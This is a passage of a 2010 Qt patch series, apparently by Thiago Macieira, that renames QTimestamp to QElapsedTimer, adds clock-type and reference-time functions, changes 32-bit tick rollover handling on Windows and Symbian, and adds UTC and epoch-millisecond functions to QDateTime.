minResolution); } -void tst_QTimestamp::elapsed() +void tst_QElapsedTimer::elapsed() { - QTimestamp t1; + QElapsedTimer t1; t1.start(); QTest::qSleep(4*minResolution); - QTimestamp t2; + QElapsedTimer t2; t2.start(); QVERIFY(t1 != t2); @@ -89,6 +89,6 @@ void tst_QTimestamp::elapsed() QVERIFY(diff < minResolution); } -QTEST_MAIN(tst_QTimestamp); +QTEST_MAIN(tst_QElapsedTimer); -#include "tst_qtimestamp.moc" +#include "tst_qelapsedtimer.moc" -- cgit v0.12 From 047090b2b7af7e5a3b88615dafed9d4d957fbe6e Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 26 Feb 2010 16:29:47 +0100 Subject: Add a couple of extra functions to QElapsedTimer --- src/corelib/tools/qelapsedtimer.h | 13 ++++++++++ src/corelib/tools/qelapsedtimer_generic.cpp | 29 +++++++++++++++------- src/corelib/tools/qelapsedtimer_mac.cpp | 11 +++++++++ src/corelib/tools/qelapsedtimer_symbian.cpp | 10 ++++++++ src/corelib/tools/qelapsedtimer_unix.cpp | 14 +++++++++-- src/corelib/tools/qelapsedtimer_win.cpp | 10 ++++++++ tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp | 33 +++++++++++++++++++++----- 7 files changed, 103 insertions(+), 17 deletions(-) diff --git a/src/corelib/tools/qelapsedtimer.h b/src/corelib/tools/qelapsedtimer.h index 4fa0ca5..827359b 100644 --- a/src/corelib/tools/qelapsedtimer.h +++ b/src/corelib/tools/qelapsedtimer.h @@ -53,8 +53,20 @@ QT_MODULE(Core) class Q_CORE_EXPORT QElapsedTimer { public: + enum ClockType { + SystemTime, + MonotonicClock, + TickCounter, + MachAbsoluteTime + }; + static ClockType clockType(); static bool isMonotonic(); + static inline QElapsedTimer started() + { QElapsedTimer t; t.start(); return t; } + static inline QElapsedTimer invalid() + { QElapsedTimer t; t.invalidate(); return t; } + void start(); qint64 restart(); void invalidate(); @@ -63,6 +75,7 @@ public: qint64 elapsed() const; bool hasExpired(qint64 timeout) const; + qint64 msecsSinceReference() const; qint64 msecsTo(const QElapsedTimer &other) const; qint64 secsTo(const QElapsedTimer &other) const; diff --git a/src/corelib/tools/qelapsedtimer_generic.cpp b/src/corelib/tools/qelapsedtimer_generic.cpp index a9c2233..db6da46 100644 --- a/src/corelib/tools/qelapsedtimer_generic.cpp +++ b/src/corelib/tools/qelapsedtimer_generic.cpp @@ -44,6 +44,17 @@ QT_BEGIN_NAMESPACE +static qint64 currentDateTimeMsec() +{ + QDateTime t = QDateTime::currentDateTime(); + return t.toTime_t() * Q_INT64_C(1000) + t.time().msec(); +} + +QElapsedTimer::ClockType QElapsedTimer::clockType() +{ + return SystemTime; +} + bool QElapsedTimer::isMonotonic() { return false; @@ -51,30 +62,30 @@ bool QElapsedTimer::isMonotonic() void QElapsedTimer::start() { - QTime t = QTime::currentTime(); - t1 = t.mds; - t2 = 0; + restart(); } qint64 QElapsedTimer::restart() { - QTime t = QTime::currentTime(); qint64 old = t1; - t1 = t.mds; + t1 = currentDateTimeMsec(); + t2 = 0; return t1 - old; } qint64 QElapsedTimer::elapsed() const { - QTime t = QTime::currentTime(); - return t.mds - t1; + return currentDateTimeMsec() - t1; +} + +qint64 QElapsedTimer::msecsSinceReference() const +{ + return t1; } qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { qint64 diff = other.t1 - t1; - if (diff < 0) // passed midnight - diff += 86400 * 1000; return diff; } diff --git a/src/corelib/tools/qelapsedtimer_mac.cpp b/src/corelib/tools/qelapsedtimer_mac.cpp index 21a6d1b..4a62761 100644 --- a/src/corelib/tools/qelapsedtimer_mac.cpp +++ b/src/corelib/tools/qelapsedtimer_mac.cpp @@ -47,6 +47,11 @@ QT_BEGIN_NAMESPACE +QElapsedTimer::ClockType QElapsedTimer::clockType() +{ + return MachAbsoluteTime; +} + bool QElapsedTimer::isMonotonic() { return true; @@ -87,6 +92,7 @@ qint64 QElapsedTimer::restart() { qint64 old = t1; t1 = mach_absolute_time(); + t2 = 0; return absoluteToMSecs(t1 - old); } @@ -97,6 +103,11 @@ qint64 QElapsedTimer::elapsed() const return absoluteToMSecs(cpu_time - t1); } +qint64 QElapsedTimer::msecsSinceReference() +{ + return absoluteToMSecs(t1); +} + qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { return absoluteToMSecs(other.t1 - t1); diff --git a/src/corelib/tools/qelapsedtimer_symbian.cpp b/src/corelib/tools/qelapsedtimer_symbian.cpp index 1fbba65..06e6f99 100644 --- a/src/corelib/tools/qelapsedtimer_symbian.cpp +++ b/src/corelib/tools/qelapsedtimer_symbian.cpp @@ -53,6 +53,11 @@ static quint64 getMillisecondFromTick() return nanokernel_tick_period * User::NTickCount(); } +QElapsedTimer::ClockType QElapsedTimer::clockType() +{ + return TickCounter; +} + static qint64 difference(qint64 a, qint64 b) { qint64 retval = a - b; @@ -88,6 +93,11 @@ qint64 QElapsedTimer::elapsed() const return difference(getMillisecondFromTick(), t1); } +qint64 QElapsedTimer::msecsSinceReference() const +{ + return t1; +} + qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { return difference(other.t1, t1); diff --git a/src/corelib/tools/qelapsedtimer_unix.cpp b/src/corelib/tools/qelapsedtimer_unix.cpp index b8215f4..85d7fa8 100644 --- a/src/corelib/tools/qelapsedtimer_unix.cpp +++ b/src/corelib/tools/qelapsedtimer_unix.cpp @@ -87,6 +87,11 @@ bool QElapsedTimer::isMonotonic() #endif } +QElapsedTimer::ClockType QElapsedTimer::clockType() +{ + return isMonotonic() ? MonotonicClock : SystemTime; +} + static inline QPair do_gettime() { #if (_POSIX_MONOTONIC_CLOCK-0 > 0) @@ -139,7 +144,7 @@ qint64 QElapsedTimer::restart() r.first -= oldt1; r.second -= oldt2; - return r.first * 1000 + r.second / fractionAdjustment(); + return r.first * Q_INT64_C(1000) + r.second / fractionAdjustment(); } qint64 QElapsedTimer::elapsed() const @@ -149,11 +154,16 @@ qint64 QElapsedTimer::elapsed() const return msecsTo(now); } +qint64 QElapsedTimer::msecsSinceReference() const +{ + return t1 * Q_INT64_C(1000) + t2 / fractionAdjustment(); +} + qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { qint64 secs = other.t1 - t1; qint64 fraction = other.t2 - t2; - return secs * 1000 + fraction / fractionAdjustment(); + return secs * Q_INT64_C(1000) + fraction / fractionAdjustment(); } qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const diff --git a/src/corelib/tools/qelapsedtimer_win.cpp b/src/corelib/tools/qelapsedtimer_win.cpp index e384dd8..ce37fa2 100644 --- a/src/corelib/tools/qelapsedtimer_win.cpp +++ b/src/corelib/tools/qelapsedtimer_win.cpp @@ -76,6 +76,11 @@ static quint64 getTickCount() return GetTickCount(); } +QElapsedTimer::ClockType QElapsedTimer::clockType() +{ + return TickCounter; +} + static qint64 difference(qint64 a, qint64 b) { qint64 retval = a - b; @@ -111,6 +116,11 @@ qint64 QElapsedTimer::elapsed() const return difference(getTickCount(), t1); } +qint64 QElapsedTimer::msecsSinceReference() const +{ + return t1; +} + qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { return difference(other.t1, t1); diff --git a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp index d671d1b..5f797a3 100644 --- a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp +++ b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp @@ -10,11 +10,19 @@ class tst_QElapsedTimer : public QObject Q_OBJECT private Q_SLOTS: + void statics(); void validity(); void basics(); void elapsed(); }; +void tst_QElapsedTimer::statics() +{ + qDebug() << "Clock type is" << QElapsedTimer::clockType(); + qDebug() << "Said clock is" << (QElapsedTimer::isMonotonic() ? "monotonic" : "not monotonic"); + qDebug() << "Current time is" << QElapsedTimer::started().msecsSinceReference(); +} + void tst_QElapsedTimer::validity() { QElapsedTimer t; @@ -27,6 +35,12 @@ void tst_QElapsedTimer::validity() t.invalidate(); QVERIFY(!t.isValid()); + + t = QElapsedTimer::started(); + QVERIFY(t.isValid()); + + t = QElapsedTimer::invalid(); + QVERIFY(!t.isValid()); } void tst_QElapsedTimer::basics() @@ -34,14 +48,17 @@ void tst_QElapsedTimer::basics() QElapsedTimer t1; t1.start(); + QVERIFY(t1.msecsSinceReference() != 0); + QCOMPARE(t1, t1); QVERIFY(!(t1 != t1)); QVERIFY(!(t1 < t1)); QCOMPARE(t1.msecsTo(t1), qint64(0)); QCOMPARE(t1.secsTo(t1), qint64(0)); - QCOMPARE(t1 + 0, t1); - QCOMPARE(t1 - 0, t1); +// QCOMPARE(t1 + 0, t1); +// QCOMPARE(t1 - 0, t1); +#if 0 QElapsedTimer t2 = t1; t2 += 1000; // so we can use secsTo @@ -51,10 +68,14 @@ void tst_QElapsedTimer::basics() QVERIFY(!(t2 < t1)); QCOMPARE(t1.msecsTo(t2), qint64(1000)); QCOMPARE(t1.secsTo(t2), qint64(1)); - QCOMPARE(t2 - t1, qint64(1000)); - QCOMPARE(t1 - t2, qint64(-1000)); +// QCOMPARE(t2 - t1, qint64(1000)); +// QCOMPARE(t1 - t2, qint64(-1000)); +#endif + quint64 value1 = t1.msecsSinceReference(); qint64 elapsed = t1.restart(); + quint64 value2 = t1.msecsSinceReference(); + QCOMPARE(elapsed, qint64(value2 - value1)); QVERIFY(elapsed < minResolution); } @@ -72,7 +93,7 @@ void tst_QElapsedTimer::elapsed() QVERIFY(t1 < t2); QVERIFY(t1.msecsTo(t2) > 0); // don't check: t1.secsTo(t2) - QVERIFY(t1 - t2 < 0); +// QVERIFY(t1 - t2 < 0); QVERIFY(t1.elapsed() > 0); QVERIFY(t1.hasExpired(minResolution)); @@ -85,7 +106,7 @@ void tst_QElapsedTimer::elapsed() qint64 elapsed = t1.restart(); QVERIFY(elapsed > 3*minResolution); QVERIFY(elapsed < 5*minResolution); - qint64 diff = t1 - t2; + qint64 diff = t2.msecsTo(t1); QVERIFY(diff < minResolution); } -- cgit v0.12 From 873305b9d85de44fc9e2150697822c8d3ccdef65 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 26 Feb 2010 16:30:43 +0100 Subject: Change the 32-bit rollover on Windows and Symbian to be more efficient. If it rolls over, then the newer value will be lower than the older one. So just add 2^32 to the value and we'll have proper calculations. --- src/corelib/tools/qelapsedtimer_symbian.cpp | 31 +++++++++++++---------------- src/corelib/tools/qelapsedtimer_win.cpp | 30 ++++++++++++---------------- 2 files changed, 27 insertions(+), 34 deletions(-) diff --git a/src/corelib/tools/qelapsedtimer_symbian.cpp b/src/corelib/tools/qelapsedtimer_symbian.cpp index 06e6f99..6360dbf 100644 --- a/src/corelib/tools/qelapsedtimer_symbian.cpp +++ b/src/corelib/tools/qelapsedtimer_symbian.cpp @@ -50,7 +50,15 @@ static quint64 getMillisecondFromTick() static TInt nanokernel_tick_period; if (!nanokernel_tick_period) HAL::Get(HAL::ENanoTickPeriod, nanokernel_tick_period); - return nanokernel_tick_period * User::NTickCount(); + + static quint32 highdword = 0; + static quint32 lastval = 0; + quint32 val = User::NTickCount(); + if (val < lastval) + ++highdword; + lastval = val; + + return nanokernel_tick_period * (val | (quint64(highdword) << 32)); } QElapsedTimer::ClockType QElapsedTimer::clockType() @@ -58,18 +66,6 @@ QElapsedTimer::ClockType QElapsedTimer::clockType() return TickCounter; } -static qint64 difference(qint64 a, qint64 b) -{ - qint64 retval = a - b; - // there can be 32-bit rollover - // assume there were rollovers if the difference is negative by more than - // 75% of the 32-bit range - - if (retval < Q_INT64_C(-0xc0000000)) - retval += Q_UINT64_C(0x100000000); - return retval; -} - bool QElapsedTimer::isMonotonic() { return true; @@ -85,12 +81,13 @@ qint64 QElapsedTimer::restart() { qint64 oldt1 = t1; t1 = getMillisecondFromTick(); - return difference(t1, oldt1); + t2 = 0; + return t1 - oldt1; } qint64 QElapsedTimer::elapsed() const { - return difference(getMillisecondFromTick(), t1); + return getMillisecondFromTick() - t1; } qint64 QElapsedTimer::msecsSinceReference() const @@ -100,7 +97,7 @@ qint64 QElapsedTimer::msecsSinceReference() const qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { - return difference(other.t1, t1); + return other.t1 - t1; } qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const @@ -110,7 +107,7 @@ qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) { - return difference(v1.t1, v2.t1) < 0; + return (v1.t1 - v2.t1) < 0; } QT_END_NAMESPACE diff --git a/src/corelib/tools/qelapsedtimer_win.cpp b/src/corelib/tools/qelapsedtimer_win.cpp index ce37fa2..135196a 100644 --- a/src/corelib/tools/qelapsedtimer_win.cpp +++ b/src/corelib/tools/qelapsedtimer_win.cpp @@ -73,7 +73,14 @@ static quint64 getTickCount() resolveLibs(); if (ptrGetTickCount64) return ptrGetTickCount64(); - return GetTickCount(); + + static quint32 highdword = 0; + static quint32 lastval = 0; + quint32 val = GetTickCount(); + if (val < lastval) + ++highdword; + lastval = val; + return val | (quint64(highdword) << 32); } QElapsedTimer::ClockType QElapsedTimer::clockType() @@ -81,18 +88,6 @@ QElapsedTimer::ClockType QElapsedTimer::clockType() return TickCounter; } -static qint64 difference(qint64 a, qint64 b) -{ - qint64 retval = a - b; - // if we're not using GetTickCount64, then there can be 32-bit rollover - // assume there were rollovers if the difference is negative by more than - // 75% of the 32-bit range - - if (!ptrGetTickCount64 && retval < Q_INT64_C(-0xc0000000)) - retval += Q_UINT64_C(0x100000000); - return retval; -} - bool QElapsedTimer::isMonotonic() { return true; @@ -108,12 +103,13 @@ qint64 QElapsedTimer::restart() { qint64 oldt1 = t1; t1 = getTickCount(); - return difference(t1, oldt1); + t2 = 0; + return t1 - oldt1; } qint64 QElapsedTimer::elapsed() const { - return difference(getTickCount(), t1); + return getTickCount() - t1; } qint64 QElapsedTimer::msecsSinceReference() const @@ -123,7 +119,7 @@ qint64 QElapsedTimer::msecsSinceReference() const qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { - return difference(other.t1, t1); + return other.t1 - t1; } qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const @@ -133,7 +129,7 @@ qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) { - return difference(v1.t1, v2.t1) < 0; + return (v1.t1 - v2.t1) < 0; } QT_END_NAMESPACE -- cgit v0.12 From 06ffa232f1920fa5aa857e644df08ef52b62a0b3 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Mon, 1 Mar 2010 16:51:09 +0100 Subject: remove, fixup --- src/corelib/tools/qelapsedtimer.h | 5 ----- tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp | 10 +++------- 2 files changed, 3 insertions(+), 12 deletions(-) diff --git a/src/corelib/tools/qelapsedtimer.h b/src/corelib/tools/qelapsedtimer.h index 827359b..0d6f0be 100644 --- a/src/corelib/tools/qelapsedtimer.h +++ b/src/corelib/tools/qelapsedtimer.h @@ -62,11 +62,6 @@ public: static ClockType clockType(); static bool isMonotonic(); - static inline QElapsedTimer started() - { QElapsedTimer t; t.start(); return t; } - static inline QElapsedTimer invalid() - { QElapsedTimer t; t.invalidate(); return t; } - void start(); qint64 restart(); void invalidate(); diff --git a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp index 5f797a3..5c3d4f8 100644 --- a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp +++ b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp @@ -20,7 +20,9 @@ void tst_QElapsedTimer::statics() { qDebug() << "Clock type is" << QElapsedTimer::clockType(); qDebug() << "Said clock is" << (QElapsedTimer::isMonotonic() ? "monotonic" : "not monotonic"); - qDebug() << "Current time is" << QElapsedTimer::started().msecsSinceReference(); + QElapsedTimer t; + t.start(); + qDebug() << "Current time is" << t.msecsSinceReference(); } void tst_QElapsedTimer::validity() @@ -35,12 +37,6 @@ void tst_QElapsedTimer::validity() t.invalidate(); QVERIFY(!t.isValid()); - - t = QElapsedTimer::started(); - QVERIFY(t.isValid()); - - t = QElapsedTimer::invalid(); - QVERIFY(!t.isValid()); } void tst_QElapsedTimer::basics() -- cgit v0.12 From 73d10fd0813b19ad71e76419d78bf6e2dfd312d7 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Mon, 1 Mar 2010 16:52:36 +0100 Subject: Add QDateTime::currentDateTimeUtc and QDateTime::currentMsecsSinceEpoch --- src/corelib/tools/qdatetime.cpp | 353 +++++++++++++++++++--------- src/corelib/tools/qdatetime.h | 3 +- src/corelib/tools/qelapsedtimer_generic.cpp | 10 +- src/corelib/tools/tools.pri | 3 +- tests/auto/qdatetime/tst_qdatetime.cpp | 75 ++++++ 5 files changed, 328 insertions(+), 116 deletions(-) diff --git a/src/corelib/tools/qdatetime.cpp b/src/corelib/tools/qdatetime.cpp index c1027ed..7e03777 100644 --- a/src/corelib/tools/qdatetime.cpp +++ b/src/corelib/tools/qdatetime.cpp @@ -98,18 +98,23 @@ static inline QDate fixedDate(int y, int m, int d) return result; } +static inline uint julianDayFromGregorianDate(int year, int month, int day) +{ + // Gregorian calendar starting from October 15, 1582 + // Algorithm from Henry F. Fliegel and Thomas C. Van Flandern + return (1461 * (year + 4800 + (month - 14) / 12)) / 4 + + (367 * (month - 2 - 12 * ((month - 14) / 12))) / 12 + - (3 * ((year + 4900 + (month - 14) / 12) / 100)) / 4 + + day - 32075; +} + static uint julianDayFromDate(int year, int month, int day) { if (year < 0) ++year; if (year > 1582 || (year == 1582 && (month > 10 || (month == 10 && day >= 15)))) { - // Gregorian calendar starting from October 15, 1582 - // Algorithm from Henry F. Fliegel and Thomas C. Van Flandern - return (1461 * (year + 4800 + (month - 14) / 12)) / 4 - + (367 * (month - 2 - 12 * ((month - 14) / 12))) / 12 - - (3 * ((year + 4900 + (month - 14) / 12) / 100)) / 4 - + day - 32075; + return julianDayFromGregorianDate(year, month, day); } else if (year < 1582 || (year == 1582 && (month < 10 || (month == 10 && day <= 4)))) { // Julian calendar until October 4, 1582 // Algorithm from Frequently Asked Questions about Calendars by Claus Toendering @@ -1118,46 +1123,12 @@ int QDate::daysTo(const QDate &d) const */ /*! - \overload + \fn QDate::currentDate() Returns the current date, as reported by the system clock. \sa QTime::currentTime(), QDateTime::currentDateTime() */ -QDate QDate::currentDate() -{ - QDate d; -#if defined(Q_OS_WIN) - SYSTEMTIME st; - memset(&st, 0, sizeof(SYSTEMTIME)); - GetLocalTime(&st); - d.jd = julianDayFromDate(st.wYear, st.wMonth, st.wDay); -#elif defined(Q_OS_SYMBIAN) - TTime localTime; - localTime.HomeTime(); - TDateTime localDateTime = localTime.DateTime(); - // months and days are zero indexed - d.jd = julianDayFromDate(localDateTime.Year(), localDateTime.Month() + 1, localDateTime.Day() + 1 ); -#else - // posix compliant system - time_t ltime; - time(<ime); - tm *t = 0; - -#if !defined(QT_NO_THREAD) && defined(_POSIX_THREAD_SAFE_FUNCTIONS) - // use the reentrant version of localtime() where available - tzset(); - tm res; - t = localtime_r(<ime, &res); -#else - t = localtime(<ime); -#endif // !QT_NO_THREAD && _POSIX_THREAD_SAFE_FUNCTIONS - - d.jd = julianDayFromDate(t->tm_year + 1900, t->tm_mon + 1, t->tm_mday); -#endif - return d; -} - #ifndef QT_NO_DATESTRING /*! \fn QDate QDate::fromString(const QString &string, Qt::DateFormat format) @@ -1812,7 +1783,7 @@ int QTime::msecsTo(const QTime &t) const */ /*! - \overload + \fn QTime::currentTime() Returns the current time as reported by the system clock. @@ -1820,53 +1791,6 @@ int QTime::msecsTo(const QTime &t) const operating system; not all systems provide 1-millisecond accuracy. */ -QTime QTime::currentTime() -{ - QTime ct; - -#if defined(Q_OS_WIN) - SYSTEMTIME st; - memset(&st, 0, sizeof(SYSTEMTIME)); - GetLocalTime(&st); - ct.mds = MSECS_PER_HOUR * st.wHour + MSECS_PER_MIN * st.wMinute + 1000 * st.wSecond - + st.wMilliseconds; -#if defined(Q_OS_WINCE) - ct.startTick = GetTickCount() % MSECS_PER_DAY; -#endif -#elif defined(Q_OS_SYMBIAN) - TTime localTime; - localTime.HomeTime(); - TDateTime localDateTime = localTime.DateTime(); - ct.mds = MSECS_PER_HOUR * localDateTime.Hour() + MSECS_PER_MIN * localDateTime.Minute() - + 1000 * localDateTime.Second() + (localDateTime.MicroSecond() / 1000); -#elif defined(Q_OS_UNIX) - // posix compliant system - struct timeval tv; - gettimeofday(&tv, 0); - time_t ltime = tv.tv_sec; - tm *t = 0; - -#if !defined(QT_NO_THREAD) && defined(_POSIX_THREAD_SAFE_FUNCTIONS) - // use the reentrant version of localtime() where available - tzset(); - tm res; - t = localtime_r(<ime, &res); -#else - t = localtime(<ime); -#endif - Q_CHECK_PTR(t); - - ct.mds = MSECS_PER_HOUR * t->tm_hour + MSECS_PER_MIN * t->tm_min + 1000 * t->tm_sec - + tv.tv_usec / 1000; -#else - time_t ltime; // no millisecond resolution - ::time(<ime); - const tm *const t = localtime(<ime); - ct.mds = MSECS_PER_HOUR * t->tm_hour + MSECS_PER_MIN * t->tm_min + 1000 * t->tm_sec; -#endif - return ct; -} - #ifndef QT_NO_DATESTRING /*! \fn QTime QTime::fromString(const QString &string, Qt::DateFormat format) @@ -2872,63 +2796,280 @@ bool QDateTime::operator<(const QDateTime &other) const */ /*! + \fn QDateTime QDateTime::currentDateTime() Returns the current datetime, as reported by the system clock, in the local time zone. - \sa QDate::currentDate(), QTime::currentTime(), toTimeSpec() + \sa currentDateTimeUtc(), QDate::currentDate(), QTime::currentTime(), toTimeSpec() */ -QDateTime QDateTime::currentDateTime() +/*! + \fn QDateTime QDateTime::currentDateTimeUtc() + \since 4.7 + Returns the current datetime, as reported by the system clock, in + UTC. + + \sa currentDateTime(), QDate::currentDate(), QTime::currentTime(), toTimeSpec() +*/ + +/*! + \fn qint64 QDateTime::currentMsecsSinceEpoch() + \since 4.7 + + Returns the number of milliseconds since 1970-01-01T00:00:00 Universal + Coordinated Time. This number is like the POSIX time_t variable, but + expressed in milliseconds instead. + + \sa currentDateTime(), currentDateTimeUtc(), toTime_t(), toTimeSpec() +*/ + +static inline uint msecsFromDecomposed(int hour, int minute, int sec, int msec = 0) { + return MSECS_PER_HOUR * hour + MSECS_PER_MIN * minute + 1000 * sec + msec; +} + #if defined(Q_OS_WIN) +QDate QDate::currentDate() +{ + QDate d; + SYSTEMTIME st; + memset(&st, 0, sizeof(SYSTEMTIME)); + GetLocalTime(&st); + d.jd = julianDayFromDate(st.wYear, st.wMonth, st.wDay); + return d; +} + +QTime QTime::currentTime() +{ + QTime ct; + SYSTEMTIME st; + memset(&st, 0, sizeof(SYSTEMTIME)); + GetLocalTime(&st); + ct.mds = msecsFromDecomposed(st.wHour, st.wMinute, st.wSecond, st.wMilliseconds); +#if defined(Q_OS_WINCE) + ct.startTick = GetTickCount() % MSECS_PER_DAY; +#endif + return ct; +} + +QDateTime QDateTime::currentDateTime() +{ QDate d; QTime t; SYSTEMTIME st; memset(&st, 0, sizeof(SYSTEMTIME)); GetLocalTime(&st); d.jd = julianDayFromDate(st.wYear, st.wMonth, st.wDay); - t.mds = MSECS_PER_HOUR * st.wHour + MSECS_PER_MIN * st.wMinute + 1000 * st.wSecond - + st.wMilliseconds; + t.mds = msecsFromDecomposed(st.wHour, st.wMinute, st.wSecond, st.wMilliseconds); return QDateTime(d, t); +} + +QDateTime QDateTime::currentDateTimeUtc() +{ + QDate d; + QTime t; + SYSTEMTIME st; + memset(&st, 0, sizeof(SYSTEMTIME)); + GetSystemTime(&st); + d.jd = julianDayFromDate(st.wYear, st.wMonth, st.wDay); + t.mds = msecsFromDecomposed(st.wHour, st.wMinute, st.wSecond, st.wMilliseconds); + return QDateTime(d, t, Qt::UTC); +} + +qint64 QDateTime::currentMsecsSinceEpoch() +{ + QDate d; + QTime t; + SYSTEMTIME st; + memset(&st, 0, sizeof(SYSTEMTIME)); + GetSystemTime(&st); + + return msecsFromDecomposed(st.wHour, st.wMinute, st.wSecond, st.wMilliseconds) + + qint64(julianDayFromGregorianDate(st.wYear, st.wMonth, st.wDay) + - julianDayFromGregorianDate(1970, 1, 1)) * Q_INT64_C(86400000); +} + #elif defined(Q_OS_SYMBIAN) - return QDateTime(QDate::currentDate(), QTime::currentTime()); +QDate QDate::currentDate() +{ + QDate d; + TTime localTime; + localTime.HomeTime(); + TDateTime localDateTime = localTime.DateTime(); + // months and days are zero indexed + d.jd = julianDayFromDate(localDateTime.Year(), localDateTime.Month() + 1, localDateTime.Day() + 1 ); + return d; +} + +QTime QTime::currentTime() +{ + QTime ct; + TTime localTime; + localTime.HomeTime(); + TDateTime localDateTime = localTime.DateTime(); + ct.mds = msecsFromDecomposed(localDateTime.Hour(), localDateTime.Minute(), + localDateTime.Second(), localDateTime.MicroSecond() / 1000); + return ct; +} + +QDateTime QDateTime::currentDateTime() +{ + QDate d; + QTime ct; + TTime localTime; + localTime.HomeTime(); + TDateTime localDateTime = localTime.DateTime(); + // months and days are zero indexed + d.jd = julianDayFromDate(localDateTime.Year(), localDateTime.Month() + 1, localDateTime.Day() + 1); + ct.mds = msecsFromDecomposed(localDateTime.Hour(), localDateTime.Minute(), + localDateTime.Second(), localDateTime.MicroSecond() / 1000); + return QDateTime(d, ct); +} + +QDateTime QDateTime::currentDateTimeUtc() +{ + QDate d; + QTime ct; + TTime gmTime; + gmTime.UniversalTime(); + TDateTime gmtDateTime = gmTime.DateTime(); + // months and days are zero indexed + d.jd = julianDayFromDate(gmtDateTime.Year(), gmtDateTime.Month() + 1, gmtDateTime.Day() + 1); + ct.mds = msecsFromDecomposed(gmtDateTime.Hour(), gmtDateTime.Minute(), + gmtDateTime.Second(), gmtDateTime.MicroSecond() / 1000); + return QDateTime(d, ct, Qt::UTC); +} + +qint64 QDateTime::currentMsecsSinceEpoch() +{ + QDate d; + QTime ct; + TTime gmTime; + gmTime.UniversalTime(); + TDateTime gmtDateTime = gmTime.DateTime(); + + // according to the documentation, the value is: + // "a date and time as a number of microseconds since midnight, January 1st, 0 AD nominal Gregorian" + qint64 value = gmTime.Int64(); + + // whereas 1970-01-01T00:00:00 is (in the same representation): + static const qint64 unixEpoch = qint64(1970 * 365 + 1970 / 4 - 1970 / 100 + 1970 / 400) * Q_INT64_C(86400) + * Q_INT64_C(1000000); + + return (value - unixEpoch) / 1000; +} + +#elif defined(Q_OS_UNIX) +QDate QDate::currentDate() +{ + QDate d; + // posix compliant system + time_t ltime; + time(<ime); + struct tm *t = 0; + +#if !defined(QT_NO_THREAD) && defined(_POSIX_THREAD_SAFE_FUNCTIONS) + // use the reentrant version of localtime() where available + tzset(); + struct tm res; + t = localtime_r(<ime, &res); #else -#if defined(Q_OS_UNIX) + t = localtime(<ime); +#endif // !QT_NO_THREAD && _POSIX_THREAD_SAFE_FUNCTIONS + + d.jd = julianDayFromDate(t->tm_year + 1900, t->tm_mon + 1, t->tm_mday); + return d; +} + +QTime QTime::currentTime() +{ + QTime ct; + // posix compliant system + struct timeval tv; + gettimeofday(&tv, 0); + time_t ltime = tv.tv_sec; + struct tm *t = 0; + +#if !defined(QT_NO_THREAD) && defined(_POSIX_THREAD_SAFE_FUNCTIONS) + // use the reentrant version of localtime() where available + tzset(); + struct tm res; + t = localtime_r(<ime, &res); +#else + t = localtime(<ime); +#endif + Q_CHECK_PTR(t); + + ct.mds = msecsFromDecomposed(t->tm_hour, t->tm_min, t->tm_sec, tv.tv_usec / 1000); + return ct; +} + +QDateTime QDateTime::currentDateTime() +{ // posix compliant system // we have milliseconds struct timeval tv; gettimeofday(&tv, 0); time_t ltime = tv.tv_sec; - tm *t = 0; + struct tm *t = 0; #if !defined(QT_NO_THREAD) && defined(_POSIX_THREAD_SAFE_FUNCTIONS) // use the reentrant version of localtime() where available tzset(); - tm res; + struct tm res; t = localtime_r(<ime, &res); #else t = localtime(<ime); #endif QDateTime dt; - dt.d->time.mds = MSECS_PER_HOUR * t->tm_hour + MSECS_PER_MIN * t->tm_min + 1000 * t->tm_sec - + tv.tv_usec / 1000; -#else - time_t ltime; // no millisecond resolution - ::time(<ime); - tm *t = 0; - localtime(<ime); - dt.d->time.mds = MSECS_PER_HOUR * t->tm_hour + MSECS_PER_MIN * t->tm_min + 1000 * t->tm_sec; -#endif // Q_OS_UNIX + dt.d->time.mds = msecsFromDecomposed(t->tm_hour, t->tm_min, t->tm_sec, tv.tv_usec / 1000); dt.d->date.jd = julianDayFromDate(t->tm_year + 1900, t->tm_mon + 1, t->tm_mday); dt.d->spec = t->tm_isdst > 0 ? QDateTimePrivate::LocalDST : t->tm_isdst == 0 ? QDateTimePrivate::LocalStandard : QDateTimePrivate::LocalUnknown; return dt; +} + +QDateTime QDateTime::currentDateTimeUtc() +{ + // posix compliant system + // we have milliseconds + struct timeval tv; + gettimeofday(&tv, 0); + time_t ltime = tv.tv_sec; + struct tm *t = 0; + +#if !defined(QT_NO_THREAD) && defined(_POSIX_THREAD_SAFE_FUNCTIONS) + // use the reentrant version of localtime() where available + struct tm res; + t = gmtime_r(<ime, &res); +#else + t = gmtime(<ime); #endif + + QDateTime dt; + dt.d->time.mds = msecsFromDecomposed(t->tm_hour, t->tm_min, t->tm_sec, tv.tv_usec / 1000); + + dt.d->date.jd = julianDayFromDate(t->tm_year + 1900, t->tm_mon + 1, t->tm_mday); + dt.d->spec = QDateTimePrivate::UTC; + return dt; } +qint64 QDateTime::currentMsecsSinceEpoch() +{ + // posix compliant system + // we have milliseconds + struct timeval tv; + gettimeofday(&tv, 0); + return 